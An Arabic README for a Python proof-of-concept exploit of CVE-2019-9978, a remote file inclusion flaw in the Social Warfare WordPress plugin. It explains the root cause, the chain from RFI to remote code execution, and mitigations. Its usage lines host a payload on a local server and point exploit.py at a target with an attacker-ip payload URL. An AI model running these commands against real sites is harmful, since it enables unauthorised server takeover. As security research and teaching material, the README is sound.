
نموذج إثبات مفهوم مخصص بلغة بايثون يعرض تحليل السبب الجذري واستغلال الثغرة CVE 2019-9978 (إضافة Social Warfare)، مع التركيز على سيناريو الهجوم العملي من تضمين الملفات عن بُعد (RFI) إلى تنفيذ الأكواد عن بُعد (RCE).
يحتوي هذا المستودع على إثبات مفهوم (PoC) مبني على بايثون يوضح استغلال CVE-2019-9978، وهي ثغرة حرجة في إضافة Social Warfare الخاصة بووردبريس.
تسمح الثغرة لـمهاجم غير مصادق بتنفيذ تضمين ملفات عن بُعد (RFI)، والتي يمكن ترقيتها إلى تنفيذ أكواد عن بُعد (RCE)* عن طريق استضافة حمولة ضارة على خادم يتحكم فيه المهاجم.
تم تطوير واختبار إثبات المفهوم هذا في بيئة مختبرية لووردبريس خاضعة للسيطرة لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
يفشل إضافة Social Warfare في التحقق بشكل صحيح من المدخلات المقدمة من المستخدم وتنقيتها، وهي المدخلات المستخدمة لتضمين المحتوى عن بُعد.
نتيجة لذلك، يمكن للمهاجم توفير URL خارجي خبيث، مما يؤدي إلى تضمين ملفات عن بُعد غير مصادق.
عندما يحتوي الملف البعيد المُضمّن على كود PHP قابل للتنفيذ، يتم تنفيذه في سياق خادم ووردبريس، مما يؤدي إلى تنفيذ أكواد عن بُعد.
Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)
python3 -m http.server 8000
ضع ملف الحمولة الخاص بك (مثل payload-main.txt) في دليل الخادم.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
تحديث إضافة Social Warfare إلى إصدار مصحح
تعطيل تضمين الملفات عن بُعد:
allow_url_include = Off
تقييد معالجة الروابط الخارجية في إضافات ووردبريس
نشر جدار حماية لتطبيقات الويب (WAF) مع قواعد كشف RFI
هذا المشروع مخصص بشكل صارم للأغراض التعليمية واختبارات الأمن المصرح بها فقط.
لا تستخدم إثبات المفهوم هذا ضد الأنظمة دون إذن صريح. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.